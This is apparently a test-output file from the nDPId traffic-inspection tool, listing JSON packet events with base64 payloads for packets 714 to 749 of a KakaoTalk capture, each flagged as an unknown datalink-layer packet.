+00393{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":714,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":663611,"pkt_caplen":68,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":68,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAADSw5EAALwZAjW5MjzIKGFK8H5CAyJJ45pH3EeBggBAAMPXJAAABAQgKRNurUAALRWQ="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":714,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":715,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":664191,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/PX2AbDHPfqs0w1Sapdp8aYNuberm4yiEG\/25wYv+7cW0HXwRJp8gU8jMg6nUhsWAKJ0GQOvd50NP"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":715,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00472{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":716,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":695655,"pkt_caplen":124,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":124,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGwAAEAAHBH+DgHJAa4KGFK8WgYoHABYPkaAbE9KizvW2guGVRldh6NKjz8fQJoHUSRdwNo0WC0qCVB0RxqwIikuHtvJa5BP1fX\/56u+Q21v4ovWwVP143wQ0UkpQyiwH1fiJseeRkznTQ=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":716,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00496{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":717,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":702674,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAQBHaJAoYUrwByQGuKB1aBwBqyS6ByAAMVJql2nhUecfSj38IyetU7qmBuDDPjWXjWG6rSfmFeg4CNNxlBxif7M9KMVtpfq2RjbJmtK+rq2SSv32uc+V\/lvbg2LY9MFOYdQ6IXJKzlD6AAAAE+zNyuhY7D2DdMg=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":717,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":718,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":703040,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/oBeAbDHafqteA1SapdpZ4qTihMSNLGab2vp4Rdr+uUa6dSYZ3cnGqpc2lEZ7vbWV\/yHmTOUJl1xR"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":718,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00497{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":719,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":709632,"pkt_caplen":142,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":142,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH4AAEAAPxHbJAoYUrwByQGuLDlaBQBqTFSByAAMC4ZVGQ21DhFtJ5pVSpHA29mSXWgupbBBO2VyAq\/04b9a0U3MpwQFQvWqFidhxeuTBSyks5kk9ZQJHxCKEShx1YUsKPxryHVVYZGtotYaqIGAAAAEQW6VLf5HEs5d\/Q=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":719,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":720,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":711859,"pkt_caplen":108,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":108,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFwAAEAAPxHbRgoYUrwByQGuLDhaBABIIrCAbE9Uizv8WguGVRkUJlgvJKK\/bL9As1dvXRMuziQW45LwEDcHPZcxqg1OONeDJFQYrxcTG1\/gKuoZILQe8Ijh"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":720,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":721,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":715674,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/YuCAbDHQfqs4g1SapdoTirYnQoiPFm7YuF5+OsorL7DoNXyCME2i+GWHHmnJgUn8djGtHJn7L9Nb"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":721,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":722,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":748572,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/B3iAbDHRfqs8Q1SapdrDFF6bMh2cGvVgl5Vx96LFN4GVGuEJk2mhvBww2uHLmeB86MQwUTsKvB6C"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":722,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":723,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":803992,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/ZF6AbDHbfqthw1Sapdp6GAWDp6nc1sE4DIuVySPHZp5C4Mfq6A0BjG04kbfD\/WAiFWaXVwXgdVb6"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":723,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":724,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":812934,"pkt_caplen":104,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":104,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFgAAEAAPxHbSgoYUrwByQGuLDhaBABEqbGAbE9VizwAGguGVRko009QMDzqMhKvIJYcu78ovTgSIvA2Ur+0XcO2swYvhLFXc2SuaKgb6OQooyfv8BE="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":724,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00441{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":725,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":813117,"pkt_caplen":100,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":100,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFQAAEAAPxHbTgoYUrwByQGuLDhaBABAH1iAbE9WizwD2guGVRljjHsj23r8F2F7vR40vWm7WXtWpJPkA6QSPah\/n39\/uz7KUjsOhQdVLgnQNw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":725,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":726,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":839240,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/yZOAbDHcfqtlg1SapdqMKmzUfjsGXE4qjcQQOq4o+sk1MiyHrX4hgRtuSu6hSLP4v4KkB8tS3Ju4"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":726,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00463{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":727,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":863410,"pkt_caplen":119,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":119,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGcAAEAAHBH+EwHJAa4KGFK8WgYoHABTHMuAbE9LizvamguGVRndwCiOHgaBqTIyY8KihjIXwf8uixplGmRRdQTUyoiD05WqqASUhZSLpqfmPiI3Vznb+wPsdUz+zXf1R+gsX+I="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":727,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":728,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":881110,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/8CGAbDHdfqtpQ1SapdqX3XVqSIV6SLoWg2PD0+uirFS0kM+cHX3KWnM\/gLNPCN0qGRXtvHByJ2gE"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":728,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00470{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":729,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":883551,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGsAAEAAHBH+DwHJAa4KGFK8WgYoHABXxfSAbE9MizveWguGVRngFydX1M\/06cMsS999H86RqXDs3N6Y6mG+7y4f34H\/NL2CZ49Y\/yetLR7wQovD7ykuBrsNsG+QU1SY8bkrbA7TzoSv"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":729,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":730,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":895514,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/4i2AbDHSfqtAA1Sapdpn27RQXK+AobSAnGCoWZt2s+6QgofxbzTYsV5BMHFYbii9ypxskk4J2cm6"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":730,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00455{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":731,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":907813,"pkt_caplen":112,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":112,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGAAAEAAPxHbQgoYUrwByQGuLDhaBABMp1aAbE9XizwHmguGVRmvOqoWcfriu5UOE49BL6lpXQxBLhvwSc4D5TpmsfbdPYMkRTSvgz1G5dogCa1UNRMT3ooOBpRZmA=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":731,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":732,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":908789,"pkt_caplen":106,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":106,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFoAAEAAPxHbSAoYUrwByQGuLDhaBABGVkSAbE9YizwLWguGVRnaoUaITZymHReEZ1A+JcKRzadGcLdC+Fjx7ht0c\/Dz3kXzJWWQXnw2\/b1Qf3dXUhyepw=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":732,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":733,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":915412,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/leGAbDHTfqtDw1SapdqZclOiUBcmANaStnBTCncs4OgJJ4fLaobbNx+ZZzXD0a46FnAYmEIuFdIi"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":733,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00476{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":734,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":949408,"pkt_caplen":127,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":127,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAG8AAEAAHBH+CwHJAa4KGFK8WgYoHABbN8iAbE9NizviGguGVRkGt6qOymfUIiwh0xEq0tYFwx3Lt99B+e+gEBhr50wjbouSs50lr1\/bDX+mWvVRb7AdHsxlCi5vjNdUn5jclag0W2Ra9TZSow=="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":734,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":735,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":961341,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/fziAbDHefqttA1SapdpEOb68pk\/Zmc0ZL2ekZw0gbzXPelOM1Zpdz7ePZiMJjUO9CY+xpoip2O+H"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":735,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00456{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":736,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":980109,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGIAAEAAHBH+GAHJAa4KGFK8WgYoHABOqLSAbE9Oizvl2guGVRlmU87bK+VVGeFQCIxpmzH7f5Z4j\/QIkBIddWU2SCka0jBFbcGNoGqDVjsV4vsPHobkXKN6HpXRjaFd"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":736,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":737,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069180,"pkt_ts_usec":995642,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/4OOAbDHUfqtHg1SapdqusXiD3yXwTCcYU\/Y5pzIsKilKeOwAjequMlOdRrUEaiLUvFft7nzoZBb+"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":737,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":738,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":5439,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/rJKAbDHffqtww1SapdqCoX8u1TLiPXJDa7S2\/gtWcWXWm1tPbYSj+CY7U5MMd\/iouiQeXdcirVHq"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":738,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00443{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":739,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":8643,"pkt_caplen":105,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":105,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFkAAEAAPxHbSQoYUrwByQGuLDhaBABFSFmAbE9ZizwPGguGVRkXsm+X71xCtDCSaBrp16kpkHoeL4+iczud+k\/M\/vzyfKb7Nk4kK2ZcjgXVjqlolSeG"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":739,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00460{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":740,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":13190,"pkt_caplen":117,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":117,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGUAAEAAHBH+FQHJAa4KGFK8WgYoHABRS6SAbE9PizvpmguGVRlQ8qbgy8H0OCJfT\/J5b\/xK2RaJvgPHEMKt8ntxVULVSCFPuJW+nwDSN+W2M0QsseRX7YFL2UsRagY9jTTs"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":740,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00409{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":741,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":91681,"pkt_caplen":80,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":80,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUAAEDyjkAALwb+1m5MjzIKGFK8Iynl6dfwqeUtaZansBAALVC2AAABAQgKRNus1wACzUkBAQUKLWmV\/S1plqc="} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":741,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":742,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":91834,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/PraAbDHVfqtLQ1Sapdq0tZIcjIGwhKYlII5ejkRFRA2lFOrXjw6P2GK590WiCCSnu2QKYGvzvOR0"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":742,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":743,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":92200,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/\/MyAbDHWfqtPA1SapdpXkECFv25nB+OU3SfFWMQlJIRPGdMSLBFeMxtYkOfzPPIIU1JZ9KuotoQn"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":743,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00468{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":744,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":92292,"pkt_caplen":123,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":123,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGsAAEAAGxH\/DwHJAa4KGFK8WgYoHABXqB6AbE9QizvtWguGVRlB2sQIlkFU+UojhvoyTBRGvzScdzbhEvL90ZSdJfAsp0F+svvStw0hc1UE6oCbKSTJ7\/2OZdpQU7PNpBVulgynQU2w"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":744,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00451{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":745,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":92383,"pkt_caplen":111,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":111,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAF8AAEAAHBH+GwHJAa4KGFK8WgYoHABL5iOAbE9RizvxGguGVRn6A9l\/PAS+R5EblphoXtixcii6pf6IY7QUCAFjjZcR4QWupww2qcIwmBUB0YXlAlp679UgK8TM"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":745,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00454{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":746,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":99433,"pkt_caplen":114,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":114,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAGIAAEAAHBH+GAHJAa4KGFK8WgYoHABObg+AbE9Sizv02guGVRmJCXtJtZMeVgmAHfdtfa6PA+11SvPEO2qbLPnU3GgOWAddkWbyOnyqkh7FVo7EBbPYa8bnf6IqYH2K"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":746,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00433{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":747,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":99524,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAFMAAEAAHRH9JwHJAa4KGFK8WgQsOAA\/zEiAbDHXfqtSw1SapdrGrVCs+pHHwoKkh1VlLnoGvDDZQPZgLo8fov5Txz4f7KGBEfsMU1+4qY+D"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":747,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00434{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":748,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":100226,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/EKmAbDHgfqt0g1SapdrvKFPWz8g44MoQXQN1bDM8n9Dfwx88TOch7c8OLRmYNzS3DgrVsUt1cBbb"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":748,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":749,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069181,"pkt_ts_usec":107794,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAPxHbTwoYUrwByQGuLDhaBAA\/436AbE9aizwS2guGVRmFzi617tqzDKLAWyAlMuOd6LnSjoi0vGuDRDNSNsKNWwwv\/lUi9GNY6eEU"} +00169{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":749,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} 